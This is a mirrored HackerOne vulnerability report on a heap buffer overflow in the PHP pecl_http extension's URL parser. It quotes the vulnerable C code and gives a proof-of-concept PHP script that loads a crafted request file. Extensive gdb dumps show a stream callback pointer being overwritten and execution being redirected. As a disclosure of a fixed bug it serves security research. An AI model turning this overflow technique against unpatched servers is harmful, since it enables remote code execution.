forked from aldaor/HackerOneReports
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy path121863.txt
198 lines (171 loc) · 9.64 KB
/
121863.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
ReportLink:https://hackerone.com/reports/121863
WeaknessName:Code Injection
Reporter:https://hackerone.com/rc0r
ReportedTo:PHP (IBB)(ibb-php)
BountyAmount:1000.0
Severity:
State:Closed
DateOfDisclosure:28.07.2016 13:17:16
Summary:
This bug report was submitted directly to the PHP bug tracker:
<https://bugs.php.net/bug.php?id=71719>
The issue was verified and fixed on 2016-03-09. Updated HTTP packages 2.5.6 and 3.0.1 were released the same day.
Following you find the bug description that has been reported to the PHP maintainers:
# Description
The HTTP url parsing functions allow overflowing a buffer with data originating from an arbitrary HTTP request. Affected are the `parse_*()` functions in `php_http_url.c` that are called from within `php_http_url_parse()`. Other parsing functions were not tested but might be affected as well.
The problem occurs when non-printable characters contained in an URL are converted into percent-encoding. The `state->offset` used in these functions is incremented without sufficient checks
regarding the size of the allocated `state->buffer`.
Example from `parse_mb()` in `php_http_url.c:781`:
```c
static size_t parse_mb(struct parse_state *state, ...)
{
// [...]
} else {
int i = 0;
PHP_HTTP_DUFF(consumed,
state->buffer[state->offset++] = '%';
state->buffer[state->offset++] = parse_xdigits[((unsigned char) ptr[i]) >> 4];
state->buffer[state->offset++] = parse_xdigits[((unsigned char) ptr[i]) & 0xf];
++i;
);
}
// [...]
```
A `php_stream_ops` structure is stored in memory adjacent to the `state->buffer`. This struct holds valid callback function pointers for stdio-like functions (see `php_streams.h:118`). During my tests it was possible to modify one of these function pointers, get it called and execute absolutely unrelated instructions within the php binary.
**Thus I believe it's possible to use the described flaw to execute arbitrary code.**
# Proof of Concept
PHP test script:
```php
/*
http_message_parse.php
poc.req:
http://hlt99.blinkenshell.org/php/poc.req
*/
<?php
$http_msg = new http\Message(file_get_contents("poc.req"), false);
?>
```
PHP build configuration:
```bash
./configure --enable-mysqlnd --enable-soap --with-openssl --with-sqlite3 --enable-raphf --enable-propro --with-http --with-zlib-dir --enable-zip --enable-intl && make
```
Program state before buffer overflow:
$ gdb ./sapi/cli/php
gdb> b streams.c:467
gdb> r http_message_parse.php
[...]
RAX: 0x10031c0 --> 0x794560 (<php_stdiop_write>)
^-- !! original callback function pointer
RBX: 0x7ffff1870300
RCX: 0x1
RDX: 0x7ffff1871078
RSI: 0x1
RDI: 0x7ffff1870300
RBP: 0x3
RSP: 0x7fffffffab30
RIP: 0x78f5b4 (<_php_stream_free+308>: call QWORD PTR [rax+0x10])
R8 : 0x1
R9 : 0x0
R10: 0x74000
R11: 0x1
R12: 0x0
R13: 0x102ea40 --> 0x0
R14: 0x0
R15: 0x0
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
=> 0x78f5b4 <_php_stream_free+308>: call QWORD PTR [rax+0x10]
[------------------------------------------------------------------------------]
0x000000000078f5b4 467 ret = stream->ops->close(stream, preserve_handle ? 0 : 1);
Program state after `php_stream_ops` struct has been overwritten:
gdb> c
RAX: 0x1004130 --> 0x82f490 (<ZEND_ADD_SPEC_TMPVAR_CONST_HANDLER>)
^-- !! lower 3 bytes overwritten (halfbyte at offset 0x3f converted to hex char
!! and byte at offset 0x40 in poc.req
!! plus trailing 0x00 inserted by url parsing functions)
RBX: 0x7ffff1870400
RCX: 0x1
RDX: 0x2
RSI: 0x1
RDI: 0x7ffff1870400
RBP: 0xb ('\x0b')
RSP: 0x7fffffffa8a0
RIP: 0x78f5b4 (<_php_stream_free+308>: call QWORD PTR [rax+0x10])
R8 : 0x1
R9 : 0x0
R10: 0x682f377068702f73 ('s/php7/h')
R11: 0x170
R12: 0x0
R13: 0x102ea40 --> 0x0
R14: 0x0
R15: 0x0
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
=> 0x78f5b4 <_php_stream_free+308>: call QWORD PTR [rax+0x10]
[------------------------------------------------------------------------------]
0x000000000078f5b4 467 ret = stream->ops->close(stream, preserve_handle ? 0 : 1);
Crash on an arbitrary instruction:
gdb> c
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x1004130 --> 0x82f490 (<ZEND_ADD_SPEC_TMPVAR_CONST_HANDLER>)
RBX: 0x7ffff1870400
RCX: 0x1
RDX: 0x2
RSI: 0x1
RDI: 0x7ffff1870400
RBP: 0xb ('\x0b')
RSP: 0x7fffffffa880
RIP: 0x82f346 (<ZEND_ADD_SPEC_TMPVAR_TMPVAR_HANDLER+6>: movsxd rbx,DWORD PTR [r15+0x8])
R8 : 0x1
R9 : 0x0
R10: 0x682f377068702f73 ('s/php7/h')
R11: 0x170
R12: 0x0
R13: 0x102ea40 --> 0x0
R14: 0x0
R15: 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x82f340 <ZEND_ADD_SPEC_TMPVAR_TMPVAR_HANDLER>: push rbp
0x82f341 <ZEND_ADD_SPEC_TMPVAR_TMPVAR_HANDLER+1>: push rbx
0x82f342 <ZEND_ADD_SPEC_TMPVAR_TMPVAR_HANDLER+2>: sub rsp,0x8
=> 0x82f346 <ZEND_ADD_SPEC_TMPVAR_TMPVAR_HANDLER+6>: movsxd rbx,DWORD PTR [r15+0x8]
[------------------------------------------------------------------------------]
Stopped reason: SIGSEGV
ZEND_ADD_SPEC_TMPVAR_TMPVAR_HANDLER () at /home/rc0r/tmp/php-src/Zend/zend_vm_execute.h:44295
44295 op1 = _get_zval_ptr_var(opline->op1.var, execute_data, &free_op1);
# Further Debug Info
Backtrace right after overflow, before modified function pointers are called:
gdb> b php_http_url.c:1514
gdb> r
Breakpoint 2, php_http_url_parse (
str=str@entry=0x7ffff185da05 "5 HTTP/1.1\nA\265_eptA eg", '\262' <repeats 20 times>, "ղ", '\262' <repeats 14 times>, "\260\260A HTTP/1.1\nA\265_eptABCDEFGHI", '\262' <repeats 25 times>, "TTP//X-Csrf-Token:1.0 HTTP/\215.0", len=len@entry=0x1, flags=flags@entry=0xffffffff)
at /home/rc0r/tmp/php-src/ext/http/src/php_http_url.c:1514
1514 if (!parse_hier(state)) {
gdb> bt
#0 php_http_url_parse (
str=str@entry=0x7ffff185da05 "5 HTTP/1.1\nA\265_eptA eg", '\262' <repeats 20 times>, "ղ", '\262' <repeats 14 times>, "\260\260A HTTP/1.1\nA\265_eptABCDEFGHI", '\262' <repeats 25 times>, "TTP//X-Csrf-Token:1.0 HTTP/\215.0", len=len@entry=0x1, flags=flags@entry=0xffffffff)
at /home/rc0r/tmp/php-src/ext/http/src/php_http_url.c:1514
#1 0x0000000000736bf1 in php_http_info_parse (info=info@entry=0x7fffffffaa20,
pre_header=0x7ffff185da00 "\200\254Td 5 HTTP/1.1\nA\265_eptA eg", '\262' <repeats 20 times>, "ղ", '\262' <repeats 14 times>, "\260\260A HTTP/1.1\nA\265_eptABCDEFGHI", '\262' <repeats 25 times>, "TTP//X-Csrf-Token:1.0 HTTP/\215.0")
at /home/rc0r/tmp/php-src/ext/http/src/php_http_info.c:138
#2 0x0000000000735838 in php_http_header_parser_parse (parser=parser@entry=0x7fffffffaa00, buffer=buffer@entry=0x7fffffffa9d0,
flags=flags@entry=0x1, headers=0x7ffff1882090, callback_func=0x73a670 <php_http_message_info_callback>,
callback_arg=callback_arg@entry=0x7fffffffa9c8) at /home/rc0r/tmp/php-src/ext/http/src/php_http_header_parser.c:151
#3 0x0000000000740644 in php_http_message_parser_parse (parser=parser@entry=0x7fffffffaa00, buffer=buffer@entry=0x7fffffffa9d0, flags=0x1,
message=message@entry=0x7fffffffa9c8) at /home/rc0r/tmp/php-src/ext/http/src/php_http_message_parser.c:249
#4 0x000000000073ba48 in php_http_message_parse (msg=0x7ffff1882070, msg@entry=0x0,
str=str@entry=0x7ffff185d8d8 "\200\254Td 5 HTTP/1.1\nA\265_eptA eg", '\262' <repeats 20 times>, "ղ", '\262' <repeats 14 times>, "\260\260A HTTP/1.1\nA\265_eptABCDEFGHI", '\262' <repeats 25 times>, "TTP//X-Csrf-Token:1.0 HTTP/\215.0", len=<optimized out>, greedy=<optimized out>)
at /home/rc0r/tmp/php-src/ext/http/src/php_http_message.c:134
#5 0x000000000073c82d in zim_HttpMessage___construct (execute_data=<optimized out>, return_value=<optimized out>)
at /home/rc0r/tmp/php-src/ext/http/src/php_http_message.c:1061
#6 0x00000000008560f2 in ZEND_DO_FCALL_SPEC_HANDLER () at /home/rc0r/tmp/php-src/Zend/zend_vm_execute.h:842
#7 0x000000000081273b in execute_ex (ex=<optimized out>) at /home/rc0r/tmp/php-src/Zend/zend_vm_execute.h:414
#8 0x0000000000864567 in zend_execute (op_array=0x7ffff187d000, op_array@entry=0x7ffff185d860, return_value=return_value@entry=0x7ffff1813030)
at /home/rc0r/tmp/php-src/Zend/zend_vm_execute.h:458
#9 0x00000000007d4ee4 in zend_execute_scripts (type=type@entry=0x8, retval=0x7ffff1813030, retval@entry=0x0, file_count=file_count@entry=0x3)
at /home/rc0r/tmp/php-src/Zend/zend.c:1427
#10 0x0000000000778b90 in php_execute_script (primary_file=primary_file@entry=0x7fffffffd260) at /home/rc0r/tmp/php-src/main/main.c:2487
#11 0x0000000000866194 in do_cli (argc=0x2, argv=0x10448c0) at /home/rc0r/tmp/php-src/sapi/cli/php_cli.c:974
#12 0x0000000000443b98 in main (argc=0x2, argv=0x10448c0) at /home/rc0r/tmp/php-src/sapi/cli/php_cli.c:1350